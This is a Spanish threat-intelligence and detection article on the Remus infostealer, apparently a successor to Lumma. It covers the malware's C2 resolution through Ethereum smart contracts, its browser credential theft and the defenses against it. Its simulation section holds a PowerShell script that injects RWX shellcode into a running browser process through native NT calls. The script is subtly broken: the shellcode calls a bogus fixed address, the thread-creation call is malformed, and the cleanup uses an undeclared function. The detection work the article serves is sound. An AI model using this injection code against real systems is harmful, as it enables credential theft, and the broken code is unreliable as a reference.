Remus: Desempaquetando la evolución de 64 bits del Lumma Stealer

Resumen

Gen Threat Labs identificó Remus, un nuevo ladrón de información de 64 bits que parece ser un sucesor directo de la línea Lumma Stealer. Refleja el modus operandi de Lumma, incluyendo la familiar ofuscación de cadenas, lógica anti-VM, ejecución de llamadas directas al sistema y un característico bypass de cifrado vinculado a la aplicación (ABE) previamente asociado con Lumma. Remus también cambia su modelo de resolución C2: en lugar de depender de los resolutores muertos de Steam y Telegram, adopta EtherHiding, utilizando contratos inteligentes de Ethereum para determinar los puntos finales de comando y control. Observada desde febrero de 2026, la campaña se centra en el robo orientado al navegador, apuntando a credenciales, cookies y datos de billeteras de criptomonedas.

Investigación

Los analistas compararon las muestras de Remus con los binarios históricos de Lumma y encontraron detalles de implementación superpuestos, incluidas estructuras de código coincidentes, cadenas de estilo comodín compartidas y el mismo enfoque de bypass ABE. Se observaron construcciones transicionales etiquetadas como «Tenzor» como un puente entre las dos familias. La ingeniería inversa muestra a Remus localizando dpapi.dll, hasheando nombres de API exportados e intentando la inyección de shellcode en Chrome. Si la inyección falla, recurre a la suplantación de Token de SISTEMA para recuperar palanca de ejecución. Las nuevas adiciones anti-análisis incluyen comprobaciones de hash de DLL de sandbox y una prueba de presencia de archivo PST «honeypot» destinada a detectar entornos de análisis.

Mitigación

Bloquear las IPs/dominios de C2 conocidos relacionados con Remus en el perímetro y monitorear el comportamiento de EtherHiding, incluyendo consultas o patrones de tráfico inusuales consistentes con la resolución de C2 basada en contratos inteligentes. En terminales, priorizar las detecciones para el uso directo de llamadas al sistema, hashing de API y artefactos consistentes con la ejecución oculta (incluida la creación de escritorios ocultos). Reducir la exposición del navegador al fortalecer los entornos basados en Chromium cuando sea posible, y reforzar el control de aplicaciones estrictas para prevenir la inyección de código no autorizada y evitar la ejecución de ejecutables no firmados sospechosos.

Respuesta

Si se observan indicadores de Remus, aislar el host, capturar volcados de memoria y árboles completos de procesos, y realizar análisis forense enfocado en procesos de navegador inyectados. Bloquear toda la infraestructura de C2 confirmada, revocar credenciales expuestas y restablecer contraseñas/tokens almacenados en el navegador. Actualizar las detecciones para incluir la cadena comodín B9%????4rnO/@NQe?Nx* y la firma de shellcode reportada de 51 bytes.

Ejecución de Simulación

Requisito: La verificación previa de Telemetría y Línea Base debe haber pasado.

Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa del Ataque y Comandos:

  1. Selección de Proceso: Identificar una instancia en ejecución de browser.exe (Chrome renombrado) y obtener su PID.
  2. Preparación del Shellcode: Crear un pequeño shellcode de lanzamiento de “calc.exe” (típico para prueba de concepto).
  3. Asignación de Memoria: Llamar a NtAllocateVirtualMemory en el contexto del proceso objetivo para reservar una región RWX.
  4. Inyección de Shellcode: Use NtWriteVirtualMemory para copiar el shellcode en la región asignada.
  5. Ejecución: Iniciar un hilo remoto con NtCreateThreadEx que comience la ejecución en la dirección del shellcode inyectado.

• Script de Prueba de Regresión:

  # Simulación de Remus‑ABE - implementación de PowerShell usando llamadas al sistema NT nativas
  # Requiere ejecutarse como Administrador
  
  Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
      using System;
      using System.Runtime.InteropServices;
  
      public class NativeMethods {
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtAllocateVirtualMemory(
              IntPtr ProcessHandle,
              ref IntPtr BaseAddress,
              UIntPtr ZeroBits,
              ref UIntPtr RegionSize,
              UInt32 AllocationType,
              UInt32 Protect);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtWriteVirtualMemory(
              IntPtr ProcessHandle,
              IntPtr BaseAddress,
              byte[] Buffer,
              UInt32 BufferLength,
              out UInt32 BytesWritten);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtCreateThreadEx(
              out IntPtr ThreadHandle,
              UInt32 DesiredAccess,
              IntPtr ObjectAttributes,
              IntPtr ProcessHandle,
              IntPtr StartAddress,
              IntPtr Parameter,
              UInt32 CreateSuspended,
              UInt32 StackZeroBits,
              UInt32 SizeOfStackCommit,
              UInt32 SizeOfStackReserve,
              IntPtr AttributeList);
      }
  "@
  
  # 1️⃣ Identificar proceso browser.exe objetivo
  $target = Get-Process -Name browser -ErrorAction Stop
  $hProcess = $target.Handle
  
  # 2️⃣ Shellcode – lanzar calc.exe (Windows x64)
  $shellcode = [Byte[]](
      0x48,0x31,0xC0,                         # xor rax,rax
      0x48,0x89,0xC2,                         # mov rdx,rax
      0x48,0x89,0xC6,                         # mov rsi,rax
      0x48,0x89,0xC7,                         # mov rdi,rax
      0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
      0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
      0xFF,0xD0,                             # call rax
      0xC3,                                   # ret
      # "calc.exe" string
      0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
  )
  
  # 3️⃣ Asignar memoria RWX en objetivo
  $baseAddress = [IntPtr]::Zero
  $regionSize = [UIntPtr]$shellcode.Length
  $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
      $hProcess,
      [ref]$baseAddress,
      [UIntPtr]0,
      [ref]$regionSize,
      0x3000,   # MEM_COMMIT|MEM_RESERVE
      0x40      # PAGE_EXECUTE_READWRITE
  )
  if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory falló: 0x$($allocResult.ToString('X'))" }
  
  # 4️⃣ Escribir shellcode
  $bytesWritten = 0
  $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
      $hProcess,
      $baseAddress,
      $shellcode,
      $shellcode.Length,
      [ref]$bytesWritten
  )
  if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory falló: 0x$($writeResult.ToString('X'))" }
  
  # 5️⃣ Crear hilo remoto
  $hThread = [IntPtr]::Zero
  $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
      [ref]$hThread,
      0x1F03FF,   # THREAD_ALL_ACCESS
      $hProcess,
      $baseAddress,
      0,          # no suspendido
      0,0,0,
  )
  if ($createResult -ne 0) { Write-Error "NtCreateThreadEx falló: 0x$($createResult.ToString('X'))" }
  else { Write-Host "Inyección de shellcode exitosa – hilo remoto iniciado (Manejar: $hThread)" }

• Comandos de Limpieza:

  # Terminar el hilo inyectado (si aún está en ejecución) y liberar memoria asignada
  $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
  if ($proc) {
      $hProcess = $proc.Handle
      # Cerrar handle de hilo
      if ($hThread -ne [IntPtr]::Zero) {
          [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
      }
      # Liberar memoria (NtFreeVirtualMemory)
      $freeAddr = $baseAddress
      $regionSize = [UIntPtr]$shellcode.Length
      $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
  }
  Write-Host "Limpieza completada."

Resumen de Recomendaciones

1. Ampliar el Alcance del Proceso: Incluir otros procesos de alto valor (por ejemplo, explorer.exe, svchost.exe) para capturar intentos de ABE que eviten el nombre exacto browser.exe .
2. Ampliar Cobertura de Llamadas al Sistema: Add NtMapViewOfSection, NtCreateSectiony NtProtectVirtualMemory a la lista Syscall|contains .
3. Detección de Anomalías de Comportamiento: Correlacionar asignaciones de memoria de gran tamaño (RegionSize > 1 MB) con subsecuentes NtWriteVirtualMemory en el mismo proceso para señalar patrones de inyección atípicos.
4. Listar Escenarios Legítimos Conocidos: Crear una lista de permitir para navegadores que legítimamente realizan escrituras de memoria en proceso (por ejemplo, a través de complementos) para reducir falsos positivos.

Implementar estos pasos de endurecimiento aumentará la resiliencia de la regla de un 3 a una calificación 4‑5 , haciéndolo sustancialmente más difícil para los adversarios eludir.